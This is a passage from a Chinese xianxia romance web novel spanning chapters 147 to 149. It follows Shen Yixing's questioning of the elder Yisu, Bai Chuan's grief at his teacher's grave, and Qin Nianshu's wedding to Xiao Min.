此语一出,犹如一石激起千层浪,江洵等人刹那间纷纷将视线投向了沈亦行这边。 如果江言庭是沈亦行的师父,那么林钟无疑就是江言庭的师父了。 如此说来,当年林钟从一粟这里拿走的两把剑,一把赠给了爱徒,一把留给了徒孙。 一粟口中的与世无争指的是林钟和江言庭,而那个野心勃勃的例外是沈亦行。 此刻,面对一粟连珠炮似的发问,沈亦行并未急着回应。 只见他面色沉静如水,眼神波澜不惊,缓缓开口说道:“前辈询问了诸多问题,不知可否允许晚辈也向您请教一二?” 一粟听闻此言,满不在乎地挥了挥手,示意他但问无妨。 得到应允之后,沈亦行小心翼翼地从怀中摸出一张泛黄的图纸。 “前辈可曾见过这个图案?” 一粟见状不禁调侃道:“嘿!你这小子是有备而来啊!” 可当他接过图纸看清上面的内容时,脸上原本轻松戏谑的神情瞬间消失得无影无踪,取而代之的良久的沉默 只见那纸上描绘的是一个圆形图案,而在圆的最左侧位置,呈现着一轮如鲜血般猩红的弯弯月牙。 他这种下意识地反应,不像是在回忆图纸的内容,更像是在思索该不该坦诚相告。 没过多久,一粟才轻声说道:“自然......是见过的。” “何处所见?”赶忙追问道。 此时,天空已被夕阳染成一片橙红,宛如一幅画卷挂在天际。 一粟缓缓抬起头,凝视着那渐渐西沉的太阳,轻声感叹道:“天色不早了,几位可要留下来用饭?” 说完,他小心翼翼地将手中的图纸递还给沈亦行,然后慢慢站起身来,伸展开双臂,轻轻地用双手敲击着自己有些酸痛的后背。 沈亦行顺着他的目光看过去,夕阳…… 迟暮…… 刹那间,沈亦行领悟到一粟话中的深意,随即露出一抹温和的笑容,回道:“今日多有叨扰,便不留下用饭了。” 临走时,一粟叮嘱江洵三日后别忘了来取献岁。 若是届时不方便,可以委托秦在锦帮忙取走也行。 他反正是不想这把危险的刀留在自己跟前儿,本就年纪大了,他只想好好度过晚年。 待四人踏出院门,沈亦行忽然停下脚步,转头看向身旁的江洵,开口问道:“方才拍你手背,你可有怨?” 沈亦行心里很清楚,自己如此突兀地打断江洵讲话,确实有些失礼。 可事出有因,他不得不这么做。 但他并非是担心江洵说错话,毕竟他知道江洵为人稳重,并非是口无遮拦之辈。 真正让他顾虑的,是担心江洵此举会给他招惹来不必要的麻烦。 星回曾是江言庭的随身佩剑,那些年与其交过手之人,皆对其模样了然于心。 这章没有结束,请点击下一页继续阅读!可江言庭去世的消息,知晓者却寥寥无几。 一粟自然清楚江言庭的下落,可他还是开口询问星回的去向。 无论其出于什么目的,沈亦行对此都不得不防。 江洵轻轻摇了摇头,回应道:“我知道沈哥也是担心我。” 对于一些事情,他心中或多或少也能猜出个大概。 江言庭之死绝非表面那般简单,其中必定暗藏着诸多不为人知的事情,而且很可能牵涉广泛。 至于江挽,极有可能是江家唯一的幸存者。 有人在暗中保她,那么也就有人在暗中寻她并害她。 如此情形之下,在沧澜阁,一个中律司管辖的地界儿,若要透露星回的下落,由沈亦行出面无疑是最为妥当的选择。 毕竟,那曾是他师父的佩剑。 这样一来,旁人就算心存疑虑,也不至于过分深究。 但倘若换成江洵来回答这个问题,那就有些不合常理了。 因为只要顺藤摸瓜地追查下去,最终必然会指向江挽。 这时,秦在锦凑到沈亦行身旁,“沈哥,你什么时候拜江叔叔为师的?” 沈亦行眉头微皱,回道:“记不清了,其实也没有正经的行过拜师礼,只是……只是我的剑法和对灵力的掌控皆得益于他的教导。” “哦~”勤在锦说这话的时候故意拉长尾音。 夕阳的余晖照映在熙熙攘攘的街道上,四人的身影越发清晰而修长。 这是秦在锦最熟悉的地方,亦是他最眷恋的地方。 这里的每一间商铺他都来过,这里每一户人家他都见过。 想到此处,秦在锦不禁心生忧虑,不知阿姐是否也会惆怅,几日后就要离开自幼成长的地方,然后去融入一个全然陌生的环境。 “大小姐,您家几时用饭啊?”瑶卿打了个哈欠。 这光吃糕点也吃不饱啊。 一旁的冬苓笑着替秦念淑回道:“且等着吧姐姐,还得半个时辰呢。” “苓儿,别看姐姐现在还能说话,其实姐姐已经死了。”瑶卿话落,软绵绵地瘫倒在长椅之上,有气无力地嘟囔着。 早知道中午路过饭馆儿的时候应该下去吃一顿的,还真是路走窄了! “没事儿的瑶姐姐,阳春门大夫多,您放心死。”冬苓出言安慰道。 瑶卿冷笑一声,听听,这说的还是人话吗? “你以后离傅霖他们远一点。” 瞅瞅,都把她们苓儿带坏了。 “你们快帮我看看,哪支步摇更好看一些?”秦念淑问道,目光则投向了正懒洋洋地躺在长椅上休憩的那两个人。 听到问话,瑶卿悠悠然起身,仔细瞅了一眼,随后伸手指向了位于右边的那一支。 得到答案后,秦念淑紧接着拿起了两瓶颜色看起来相差无几的口脂,再次开口询问:“口脂呢?” 这次轮到冬苓缓缓抬起头来,扫了一眼之后,毫不犹豫地指向了左边那一瓶。 不一会儿,门外传来了一阵轻轻的敲门声。 “谁啊!!!”秦念淑这一嗓子喊过去,使得长椅上打瞌睡的那两人顿时清醒了。 而站在门外的人似乎对屋内的反应早有预料,先是轻声一笑,然后才慢条斯理地回应道:“都要结婚的人了,怎得脾气还是这般火爆。” 秦念淑没好气的“啧”了一声,示意那人进来。 沈亦行闻言推门而入,刚一进门便看到了穿着喜服端坐在桌前的江挽。 只见那人的乌发已被精心地盘成了精致的发髻,头戴金丝凤冠,双颊微微泛着红晕,朱唇微微点缀着一抹微红。 待看到来人是沈亦行时,原本平静地面容顿时笑了起来,一双美眸弯成了月牙儿。 沈亦行突然之间出现了短暂的失神状态,愣在原地不敢挪动半分。 “怎么不进去呀沈哥?”站在其身后的秦在锦嘟囔了一声,然后探头往里面张望。 “好看吗?”秦念淑盯着眼前人的反应,笑的一脸狡黠。 喜服定制了两身,根据绣花图案的差异,妆娘设计制作了两种不同的妆造。 可她一时间拿不定主意,便想着让江挽帮着参谋一下。 但是光看肯定是看不出来什么,索性让江挽穿上试试。 “师父?”江洵有些意外的喊道。 自从与江挽相识以来,记忆中的她几乎一直都是身着那身素雅的青色长衫,很少见到她会把其他鲜艳的色彩穿在身上。 如今一身喜服的江挽,让江洵不禁感到一阵恍惚,差点儿没认出眼前之人。 这是鲜活且热烈的江挽。 尤其是那双看向沈亦行的眉眼,眼底所流露出的笑意是真诚且发自内心的。 只见沈亦行的眼眶微微泛红,喉咙里艰难地挤出两个字:“好看。” 他说话的声音略微带着一丝不易察觉的沙哑,仿佛蕴含着千言万语却说不出口。 “我估摸着该用饭了,咱们先过去呗。”秦念淑一边说着,一边站起身来,同时还不忘朝着沈亦行眨眼。 本小章还未完,请点击下一页继续阅读后面精彩内容!江挽见状跟着起身的时候,被秦念淑瞬间摁了下去,“你这样子可出不了门,放心,我回来的时候帮你带几份饭菜。” 话落,就撺掇着房里另外几人一并出去。 “沈哥不去吃饭吗?”秦在锦一脸天真地问道。 “别问了,你沈哥不饿。”秦念淑说完就拽着秦在锦往门外走。 “可他刚刚还.......哎哎哎干嘛啊姐!!!疼疼疼......轻点轻点!!!” 秦在锦话还没说完,就被他姐掐了一下胳膊,顿时疼的龇牙咧嘴。 他沈哥刚刚明明说饿了来着!! 江洵一脸无奈地叹了口气,说他锦哥儿聪明吧,有些事情摆在面前他愣是像个睁眼瞎一样看不明白。 可说他锦哥儿不聪明吧,面对那些形形色色、复杂多变的人,他竟也能巧妙地与之周旋一番。 待到四周逐渐安静下来,房间里仅剩下他们两人的时候,沈亦行这才如梦初醒般回过神来。 此时站在自己眼前的这个人,与记忆深处那个整天叫嚷着非他不嫁的小姑娘渐渐重叠在了一起。 不知从什么时候开始,江挽和他越来越陌生。 或许是离开星回村的那一日,或许是离开玉沙阁的那一日,又或许是踏进献岁阁的那一刻。 两人明明是并肩前行,明明是为了同一个目标在为之努力,可二人的距离却是在渐行渐远。 起初他还时常安慰自己,无论此番过程如何,好在他们殊途同归。 可随着时间推移,连他自己都开始怀疑,最终是否真的还能同归。 江挽目不转睛地盯着耳朵微微泛红的沈亦行,不禁轻笑出声,打趣道:“就这么喜欢?” 沈亦行缓步走上前,轻声说道:“万分喜欢。” 听到他的回答,对面的人微微一笑,眼中闪过一丝不易察觉的复杂情绪,接着说道:“那你多看几眼。” 沈亦行明白江挽此话何意,倘若现在不多看几眼,以后便再也看不到了。 尽管心中明了,沈亦行还是顺从地点了点头,应道:“好。” 只是在回应的瞬间,一抹略带苦涩的笑容悄然浮现在他的嘴角。 原来她认为,他们之间没有以后。 可他还偏执的认为,他们有望不到头的以后。 许是那天阳光太耀眼,银杏飞满天,坐在树上巧笑嫣然的姑娘说:长大了要嫁给秋哥。 那一刻,他动了情,也当了真。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第147章 无心插柳 阳春门的食堂相较于献岁山的来说,显得格外宽敞,里面整齐地摆放着一排排相同款式的桌椅。 但打眼儿望去能发现那些初入师门的弟子和经验成熟的药师并不会坐在一处用餐。 弟子们自成一派的坐在西边的位置,而药师们则不约而同的都坐在东边的位置。 江洵见状,有些好奇地问向秦在锦:“你平日都是坐在哪儿?” 只见秦在锦嘴角微微上扬,十分得意地说道:“我不坐,我都是站桌上吃。” 傅霖闻言,默默朝他竖起了大拇指。 不愧是能让江洵喊一声“哥”的人,这般作风,当真是别具一格。 随后,几人端了一些秦在锦推荐的饭菜,刚想找空位坐下的时候,就听到了邱漓那丫头的声音。 “这儿这儿这儿!!!!” 那丫头站起身他们挥舞着手臂,生怕这几人看不到她。 而她那一桌除了自家人以外还有秦方礼和金益冬等人。 待几人快步走到近前,秦在锦正打算一屁股坐到椅子上去时,却冷不防被旁边的江洵伸手给拦了下来。 “锦哥儿且慢!这桌子......可要给你腾个位置?” 桌上放的都是饭菜,着实没有留给秦在锦下脚的空。 “哈???”秦在锦不解地看向江洵。 “你不是要站桌上吃么。”江洵耸了耸肩,做了个请的手势。 坐在对面的秦方礼听到这话,顿时抬起了头,厉色道:“站桌上吃?谁说的?他自己说的?” “没没没,我开玩笑的!!!”秦在锦赶忙解释。 这么一口大锅扣下来,今日不被砸死也得被活活累死! 而且他看得出秦方礼这几天心情不太好。 不过,也没几个父亲,会在女儿出嫁那几日心情好吧。 所以他还是表现得乖巧一些,把存在感再降低一些。 秦方礼冷哼一声,而后快速扫视一圈,并没有看到沈亦行的身影,故而问道:“亦行怎么没来?” 秦念淑夹了块鸡腿肉放到了秦方礼碗中,回道:“他不饿。” “小挽呢?” “她也不饿。”秦念淑说完又夹了块没刺儿的鱼肉递了过去。 “哦,那就你最饿?” 秦方礼虽然嘴上没好气的这么说,但身体还是很诚实的把秦念淑夹给他肉都放进嘴里。 金益冬面带微笑,一边说着话,一边轻轻地将那盘还未动过筷子的青椒肉丝缓缓地推到了对面,语气温柔地说道:“阿念这两天确实忙得很,饿也是在所难免,多吃一些。” “下午去哪玩了?”傅霖坐下后,温如玉悄声问道。 听到这话,傅霖不紧不慢地回答道:“沧海阁。” 说话间,熟练地将盘子里的瘦肉都挑拣了出来。 “倒是个好地方。”温如玉默不作声地将瘦肉夹到自己碗里。 话落没多久,他又想到了什么,继续问道:“你这个月是不是没往家里寄信?” 傅霖手上的动作顿了一顿,淡淡回道:“嗯,忙忘了。” “兔崽子!你再不回信,你娘可就要杀上山了。” “你就这么怕她?” 傅霖有些不明白,他娘到底对温如玉做什么了? 怎么每次提到她的时候,温如玉的反应都很急躁不安。 而且他娘每次提到温如玉的时候,不是称呼“那厮”,就是喊他“小兔崽子”。 这俩人啥时候结的怨? 面对傅霖的疑问,温如玉冷笑一声,慢悠悠地说道:“人活在这世上,多多少少会有那么一两个把柄握在别人手中。” 傅霖闻言,饶有兴致地望着温如玉,笑的一脸狡黠,用略带调侃的口吻说道:“哦?什么把柄?让我也握一下呗。” 温如玉拿筷子拍了一下傅霖的手背,只听一声清脆声响骤然响起。 这突如其来的动静,引得桌上其余人顿时向这二人看来。 其中,不乏有看戏的,诸如瑶卿,那模样就差把“说啥呢让我也听听”几个大字写在脸上了。 不乏有皱眉不耐烦的,诸如冬苓,他们霖哥儿到底是哪条船上的?还有那温如玉能不能老实一点儿? 当然还有淡淡瞥了一眼后漠不关心的,诸如江洵,不用猜都知道肯定又是傅霖说了什么大逆不道的话。 饭后,秦在锦开口说道自己想要去散散步消消食,于是便没有与江洵等人一同离开。 他独自一人漫步于小径之上,也不知走了多久,等再抬头时,已经走到了苏晚晴长眠的地方。 尚未走近,一阵低沉的呢喃声便传入了他的耳中。 顺着声音看去,只见柏川正双膝跪地,面对着墓碑轻声低语。 那是苏晚晴从栖花里带回来的孩子,那时的柏川还只是一个混迹在流民中的孤儿。 当他偶然得知只要前往医馆帮忙就能领到一碗热腾腾的粥时,心中别提有多欢喜了。 对于当时饥肠辘辘的他来说,但凡多犹豫哪怕一刻,都是对食物的极大不敬。 初至医馆的那日清晨,阳光透过窗户洒在桌前。 这章没有结束,请点击下一页继续阅读!怀着忐忑心情踏入医馆的他,一眼便望见了端坐桌前的苏晚晴,那人正在登记前来帮忙之人姓名。 等轮到他时,苏晚晴抬起头,柔声询问:“小朋友,叫什么名字呀?” 这一问,让他顿时有些窘迫。 身为孤儿的他,哪里有什么正经的名字呢? 慌乱间,他目光瞥见一旁摆放的众多药材,随意地指向其中一味。 苏晚晴微微一愣,说道:“川柏?” “柏......柏川” “倒是个好名字。” 其实,是不是个好名字,他并无太多概念。 但与曾经那些诸如“那谁”或者“那乞丐”之类的称呼相比,无疑要好上百倍。 为了能在医馆里多吃上一份饭菜,他干活格外卖力,事事都做得比其他人更多更好。 那些旁人需要花费许久时间才能牢记于心的繁杂药名,他总能迅速记住,并且清晰地知道每味药材所存放的具体位置。 可随着日子一天天过去,他渐渐意识到仅是记住名字并不能改变他的现状。 所以,他便抽出时间跑去学堂,跟着沈柔学写字。 转眼间数年已逝,随着栖花里逐渐稳定,不再迫切地需要苏晚晴时刻照看时,她才决定跟随秦方礼一同返回阳春门。 临行前夕,苏晚晴来到柏川面前,轻声问道:“你可愿随我去另一个地方生活?” 月光洒落在她清丽的面庞上,映照着她眼中的期待与温柔。 柏川毫不犹豫地点头应道:“愿意。” 十几岁的少年,目光坚定,毫无迟疑之色。 苏晚晴见状,不禁噗嗤一声笑了出来,打趣道:“你这傻小子,怎得也不问问要带你去哪儿?就不怕我半路上把你给卖掉?” 柏川一边整理着手中的药方,一边笑着回答:“那师父可得多换些银子!”言语间透着对苏晚晴满满的信任和亲昵。 其实,他并非苏晚晴唯一的弟子。 但他却是陪伴在苏晚晴身旁最久的弟子。 这些年来,苏晚晴亲眼目睹着柏川从那个只为求得一口饱饭吃的孩子,渐渐成长为如今这般沉稳成熟的翩翩少年郎。 而对于柏川来说,他同样见证了苏晚晴从一个十八九岁天真烂漫的少女,一步步成为栖花里备受百姓信赖的大夫。 他们之间既是师徒关系,又情同姐弟。 或许最初,苏晚晴仅仅是出于一片善心,收留了勤奋好学的柏川,并日复一日地对他悉心教导着。 可这份善心就像一颗幼小的种子,见了光,得了水,逐渐长成了能为他人遮荫的大树。 后来,当秦念淑呱呱坠地时,柏川将她视若亲妹,对其呵护备至,疼爱有加。 而年幼的秦念淑,则像个小跟班一样,总喜欢紧紧跟随在柏川身后,嘴里不停地唤着:“师兄、师兄……” 几年后,秦在锦出生了。 柏川的小跟班也从一人变成了两人。 三个小孩儿总是形影不离,从后院跑到前院,从前院跑向长街。 跑着跑着,便长大了。 苏晚晴去世之时,他在她的灵柩前整整跪了三天三夜,不眠不休。 待到苏晚晴下葬之后,他也常常前往苏晚晴的墓地,一跪就是半个时辰。 似乎只有在那里,他才能找到片刻心安。 又或许,只要是苏晚晴待过的地方,哪怕一草一木,都能让他心安吧。 所以,这些年来,他甚少离开阳春门外出做任务。 平日里,要么是待在阳春门前院问诊,要么是去栖花里的医馆小住些时日。 偶尔,他会送一些新鲜的瓜果到苏晚晴的墓前供奉。 有时,则会拎上一壶刚新酿好的阳春酒前来祭奠。 但更多时候,他只是想要过来说说话,同苏晚晴说说近日发生的琐事。 日复一复,年复一年。 “师父,我会照顾好阿念和小锦,你不用担心,只是......想家的时候要记得回来看看。” “师父,我听金叔叔说,栖花里的花儿开了,明日我去采些带回来给你。” “师父,阿念今日跟门主吵架了,那丫头哭的可凶了,我买了两根糖葫芦才把她哄好。” “师父,小锦昨日学会翻跟头了,那小子高兴坏了,晚饭都多吃了一个鸡腿儿。” “师父,我总觉得阿念最近有心事儿,可是家里也没个姑娘在,她怕是想说也不知道同谁说。” “师父,门主又外出做行医了,我听闻那个地方不太平,你可要保佑门主此行平平安安的。” “师父,小锦最近总嚷嚷着要外出做任务,但阿念不同意,俩孩子吵了一架,闹得很不愉快。” “师父,阿念今日同我说长大以后要嫁给萧旻,我总觉得那人不是很靠谱,但架不住阿念喜欢。” “师父,小锦还是偷溜出去了,也不知道他能不能照顾好自己。” “师父,阿念后日要结婚了,你若是在,该有多好啊。” “师父......川儿想你了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!墓碑前跪着的人,哭的泣不成声。 几步外站着的人,抬头凝望夜空。 秦在锦对苏晚晴的记忆犹如夜空中那闪烁不定、时隐时现的星星般稀少而模糊。 他几乎想不起关于苏晚晴的任何事情,可以说是一片空白。 他记不得阿娘温柔的面容,听不到阿娘呼唤自己姓名时的声音,更想不起阿娘怀抱的温暖。 有关阿娘的点点滴滴,他无一不是从他人的口中听闻而来。 他时常会想,为什么别人可以记得苏晚晴,而作为儿子的他,却没有一丝一毫的印象。 他羡慕阿姐,记得阿娘怀抱的温度。 他羡慕爹爹,记得阿娘所有的温柔。 他羡慕师兄,记得阿娘年少的风采。 可有时候,羡慕往往会变成嫉妒,像一株不知名的毒草在他心底暗暗发芽。 可他只能将这份情感埋在心底,因为同这世上大多数人比起来,他的生活已经足够幸福。 “小锦,是你吗?”柏川虽然并未转身回望,但已经猜出此刻躲在身后的人是秦在锦。 通常来到这儿的人中,唯有秦在锦总是安安静静的那一个,仿佛生怕自己发出的一丁点声响都会惊扰到沉睡于此的苏晚晴。 “嗯。”秦在锦略带鼻音回应着。 柏川回头望去,看到站在那正手足无措的秦在锦时,有些无奈的笑了。 他朝秦在锦招招手,示意他走过来一些。 “哭包。”柏川说着就将手帕递了过去,示意秦在锦擦一下脸上的泪水。 秦在锦接过后,嘟囔的说道:“师兄方才不也哭了?” “我那不是哭,我那只是眼睛下雨了。”柏川反驳道。 秦在锦闻言,不禁笑出了声,“出门别说是阳春门的弟子,怎得还这般胡搅蛮缠?” “我不仅要说我是阳春门的弟子,我还要说我是秦在锦的师兄!” “快住嘴吧!丢死人了!” 眼瞅着秦在锦不再掉泪后,柏川才暗自松了口气,他最看不得这俩孩子哭。 就在二人沉默的时候,身后传来了秦念淑的声音,只听那大小姐喊道:“谁又在我阿娘跟前儿丢人现眼呢?” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第148章 阿念不哭 “是师兄!”秦在锦立即伸手指向柏川。 柏川冷哼一声,没有出言反驳他。 眼下这二人正一左一右的站在墓碑两侧,打眼望去,不免让人觉得有些怪异。 “看来我们阳春门也有自己的左右护法了。”秦念淑笑着调侃道。 等她走近后,掏出一支镶嵌着红宝石的金丝簪子轻轻放置在墓前。 “前几日在首饰铺瞧见的,阿娘肯定喜欢。” “确实适合师父。”柏川看着簪子轻声说道。 “这花你送的?”秦念淑抬头问道。 阳春酒旁边放着几支含苞待放的荷花,似乎是刚被折下来没多久,上面还挂着水滴。 柏川摇了摇头,又看向了一旁的秦在锦。 “看我做什么?我向来都只给阿娘送吃的。”秦在锦一脸骄傲地说道。 秦念淑微微蹙起秀眉,盯着眼前的荷花,忽而看着看着就笑了,她大概猜出来是谁送的了。 晚风轻拂,树叶轻轻摇曳,发出细微的沙沙声。 在这片宁静的氛围中,三个人缓缓地席地而坐,柏川伸手打开了那壶放置了许久的阳春酒。 时光仿佛倒流回了他们年幼的时候,那时无忧无虑,整日嬉戏玩耍,最大的烦恼莫过于记不住医书上的内容。 随着话题的深入,聊天的内容也渐渐转向了各自心中所怀揣的心事。 就在这时,柏川突然打破了沉默,轻声说道:“若是想悔婚,现在也还来得及。” 秦念淑听后,轻轻叹了口气。 可这日子同谁过不是过? 同谁过不都是一样的过? 况且,这么些年来,她自始至终都喜欢萧旻,也只想要嫁给萧旻。 如今万事俱备,又怎能临时悔婚? 而在此之前,她明明有更多的时间去思考、去反悔。 可她从未有一刻,产生放弃萧旻的念头。 倘若日后,她真的过得不幸福,那么只要不是原则性问题,她便不会无事生非,给彼此徒增烦。 毕竟,人生在世,又岂能事事如意? 再者说,她的爱是坦荡的,是经得起时间推敲的。 “突然好羡慕师兄啊。”秦念淑说道。 “嗯?”柏川不明白她这话何意。 一旁的秦在锦则嘟囔道:“阿姐你偷听我心声?” “师兄曾见过阿娘结婚时的样子,不是吗?” 秦念淑目光温柔的看向墓碑处,仿佛苏晚晴就坐在这里,和他们一同谈天说地。 柏川闻言,失声笑了。 三人一直聊到困意袭来时才起身返回阳春门。 依旧是柏川走在最前方,秦念淑和秦在锦默默地跟在他身后。 “师兄。”秦念淑出声喊道。 “嗯?”柏川回应。 “成亲那日,你背我上轿可好?” 听到这句话时,柏川猛地停下了脚步。 “我听人说,成亲当日,新娘子要由家中兄长或叔伯背着上花轿。你是我兄长,自然是你背我。” “好......好!” 一句句回应都带着颤音。 其实,能被秦家姐弟一直跟在屁股后面喊他师兄,他就已经很是知足。 他从未肖想过成为秦家的一份子,他只想守着苏晚晴,守着她的孩子,守着她生前所护着的一切。 他用无声的方式来报恩,不仅是报救命之恩,还有那十年如一日的教导之恩。 秦在锦一听柏川答应了,立马撒娇道:“那等我日后成亲的时候,师兄也要陪我去迎亲!” “好好好,师兄陪你。”柏川伸手摸了摸秦在锦的头,宠溺的回应眼前的少年。 “你成亲?哼!是哪家姑娘瞎了眼才想嫁给你?” “冬苓啊!” 秦在锦嘴上虽然这么说,但脸上却是一副心虚的样子。 明明是他单相思的喜欢冬苓。 “早点睡吧弟弟,梦里苓儿来娶你。” 走到分岔路口的时候,秦念淑挥手同这俩人道别。 临走到房间的时候,她瞧见里面的灯还亮着,便抬手敲了敲门。 真是见鬼了,回自己房间还得先敲个门。 “进。” 没过一会儿,里面传出了沈亦行的声音。 秦念淑不耐烦的“啧”了一声,他娘的到底谁才是这儿的主人??? 只听房门被哐当一声推开,秦念淑大摇大摆的走了进来。 而此刻房内的两人正相对而坐的讨论着什么,压根就没人抬头看她一眼。 这像话吗??? 这合理吗??? 这么放肆??? 谁的房间??? 秦念淑见状,对那俩人不满地说道:“喂!能不能尊重一下我!” “嗯,坐。” 江挽说话间头也不抬地就拉开了身边的凳子,示意她坐过来。 还有王法吗!!! 还有天理吗!!! 有没人管管!!! 这是她房间!!! 秦念淑翻了个白眼,她倒要看看那俩人到底在研究些什么。 只见桌上平铺着两张房屋结构图。 其中一张她一眼就认出了,那正是阳春门的房屋布局图。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!然而另一张摆在沈亦行面前的图纸,却十分陌生,从未见过。 这两张图纸上都有一些位置被特意标记了出来,有的地方则用红笔打上了一个醒目的叉号。 “这是做什么?”秦念淑不解地问道。 这时,江挽才抬起头来,目光温柔地看向秦念淑,轻声解释道:“你结婚那日,兴许会有人趁机闹事。我跟秋哥商量了一下,当日会提前安排好人手,届时若有突发状况,也好及时应对。” 话音刚落,沈亦行垂下眼眸,嘴角微微上扬,江挽又喊他“秋哥”了!! “闹事??闹什么事??谁敢闹事!!”秦念淑说话间不自觉的拔高了音量。 “目前还不确定,希望我们今日的准备,到头来只是一场空。” 秦念淑看着地图上密密麻麻的标记,如此详细周密的安排,定不是一时兴起,也定不是随口商量,许是为了那日早就开始做打算了。 “可需要我做些什么?”秦念淑问道。 “需要。” “嗯,你尽管说。”秦念淑立马坐直了身子,作出一副洗耳恭听的样子。 “要做最幸福的新娘。”身旁人这么说道。 “暮商宗有个叫祁华的人,你有事可以直接找他。”沈亦行掏出一枚令牌递给秦念淑。 那枚令牌十分简洁,并无过多繁杂的装饰。 其正面与反面皆精心地镌刻着数朵栩栩如生的兰花,花瓣细腻柔美,仿佛微风拂过便能轻轻摇曳起来。 除此之外,令牌之上再无其他多余之物。 秦念淑接过令牌,默默地低下头去,紧接着轻哼了一声,“本小姐就暂且原谅你们的无礼了!” 出嫁前两日,秦念淑跪在祠堂,对着牌位缓缓说道:“桂馥兰馨,滋当月圆与归之际; 喜酒飘香,正值花筵告祖之时。 祖德流芳,永锡家庭之福; 宗功笃庆,宏开婚媾之祥。 谨卜今日之吉,适为合卺之期, 兹当花筵之际,敬呈不腆之仪。 伏乞先灵,来格来尝, 喜看今朝,三星照户,花烛交辉; 愿祝他年,百年偕老,举案齐眉。 敬乞吾祖吾宗,默然庇佑,使我后人,兴旺发达,耀祖光宗。” 出嫁前一日,阳春门里里外外挂满了红色的灯笼,那大大的双喜更是贴的随处可见。 而那条贯穿整座城镇的长街,则铺上了一条长长的红毯,从街头一直延伸至巷尾。 喜糖和铜钱如雪花般纷纷扬扬地洒落下来,挨家挨户地分发着甜蜜与好运。 出嫁当日,红绸从屋檐轻轻垂下,在空中随风起舞。 江挽等人帮着妆娘一同给秦念淑梳妆、穿衣。 秦念淑安静地端坐在桌前,面容娇美如花,但时不时地会忍不住打个哈欠。 昨晚她一直兴奋地与江挽聊天,几乎彻夜未眠,此刻只觉得困倦不堪,眼睛都有些睁不开了。 “阿念,待会儿上花轿的时候可别再打瞌睡了。”妆娘一边微笑着为秦念淑梳理发髻,一边轻声叮嘱道。 她是看着秦念淑长大的,昔日的小姑娘即将嫁作人妇,心中不禁感慨万千,说话间眼眶也微微泛红起来。 门外忽然传来一阵热热闹闹的声响,紧接着只见邱漓满脸笑容地跑了进来,大声喊道:“姐姐!那新郎官已经到门口啦!” 只见大门前,呜呜泱泱的站着一排人,而人群里最显眼的当属那穿着喜服的萧旻。 那人一袭红袍,嘴角挂着柔和的笑意,同正在拦门的秦在锦说些什么。 “最后一题,只有认出我手中的这味草药,才能踏进这个门!!”秦在锦说道。 “就是就是!!!!”阳春门的弟子们大声附和道。 在萧旻面露难色之际,身后一名男子轻声提示:“菖蒲。” “菖蒲!!!”萧旻随即回答。 秦在锦皱起了眉,怎得还带场外提醒的? 刚想多说什么的时候,就听到师叔咳嗽了一声,示意他点到为止,切莫误了吉时。 萧旻甫一进门就看到了站在一侧的沈亦行,但也只是匆匆一瞥,并未多做停留。 秦方礼略带紧张的坐在主位,时不时地向门口张望过去,等着萧旻和秦念淑前来敬茶。 “别看了,门都要被你看穿了。”金益冬调侃道。 “你懂什么!!”秦方礼出言反驳。 “是是是,我不懂。”金益冬笑着摇了摇头。 谈话间,萧旻已来到堂前。 “岳父,请用茶。”那人端的是一副恭敬的模样。 秦方礼赶忙伸手接过。 敬茶结束,二人一同转身的瞬间,秦方礼突然开口言道:“阿念......” 秦念淑不敢回头,只轻声应着。 她怕被爹爹看到眼中即将垂落的泪水。 “我们阿念要幸福......得幸福。” “会的。” 在秦念淑出门前,柏川作为兄长上前将其稳稳背了起来。 一个在背上偷摸的落泪,一个轻声安慰:“阿念不哭。” 这章没有结束,请点击下一页继续阅读!一如年少时,她不小心崴到了脚,那时的柏川也是这般背着她回家。 口中不停地呢喃道:“阿念不哭阿念不哭。” 从后院到前院,平日里觉得漫长的路程,今日却觉得十分短暂。 待回过神儿来时,已经坐到了轿中。 她听到了秦在锦的哭声,那孩子哭着说不想姐姐嫁人。 秦念淑有些无奈的笑了,又想起阿漓说拦门的队伍里,就锦哥儿嚷嚷的最大声。 “落较——” “起较——” 阳春门距暮商宗虽然有些距离,但为了赶上吉时,所选用的马匹皆是最好的。 所经过之处,但凡有百姓居住之地,都会撒落几盒喜糖和铜钱。 而到了暮商宗之后,繁琐的流程和长时间的端坐,让秦念淑倍感疲惫。 生平第一次产生了悔婚的念头,而其根本原因竟然是因为麻烦。 萧旻透过团扇看到秦念淑的表情,不禁失笑,一双眼里满是宠溺。 “快好了,再坚持坚持。” “嗯。” 跨马鞍、过鹊桥、拜天地。 当听到“礼成”二字时,秦念淑心里那口气才松下。 萧济世十分满意地看着眼前的新人,而萧夫人更是高兴的合不拢嘴。 虽说花时雨也很好,可总归还是秦念淑这个儿媳对他们来说,更有面子一些。 玄月阁之前还单独留了一片空地,本来是打算给花时雨种花儿用的,如今却都种上了草药。 当一天的热闹散去,萧旻才堪堪回到婚房。 暮商宗的那些弟子们一个比一个能喝,平日里拿乔也就算了,可今日他大婚,不喝几杯属实说不过去。 推开门,看到的便是坐在床边打瞌睡的秦念淑。 许是听到声响,秦念淑立马将团扇拿起来,放置脸前,端的是一副大家闺秀的模样。 “眼下就你我二人,就别拘着了。” 萧旻说话间,将团扇缓缓拿开,露出那人的容颜。 秦念淑微微抬眸看向萧旻,眼波流转间,既有女子的娇羞,又有即为人妇的温柔。 “真好看。”萧旻直直盯着眼前人。 “哪儿好看?” “阿念哪、都、好、看。” 萧旻那骨节分明的右手缓缓抚上秦念淑的脸颊,手掌因常年握长枪而布满了厚茧。 略带粗糙的触感碰到脸颊的时候,秦念淑只觉得刺挠,身子下意识地向后仰去。 可她身后不是坚实可靠的高墙,而是让人失去戒备心的温床。 在失去平衡的瞬间,秦念淑整个身子直直躺了下去。 萧旻见状,剑眉轻挑,轻声笑道:“阿念怎得,这般急躁。” “明明是你.......” 话未说完,双唇便被封住。 秦念淑觉得自己快要窒息了。 此刻,仿佛正置身于深海之中,不得片刻呼吸。 又仿佛置身在狩猎场上,心脏狂跳不止。 她想,这南墙撞就撞了吧。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第149章 入我眼真 “没想到咱们锦哥儿还是个哭包呢。”冬苓抬手轻拍着秦在锦的后背。 自秦念淑坐上花轿离开阳春门之后,这人就哭个不停,如今眼睛都哭肿了。 “我也就今日哭了。”秦在锦带着哭腔回道。 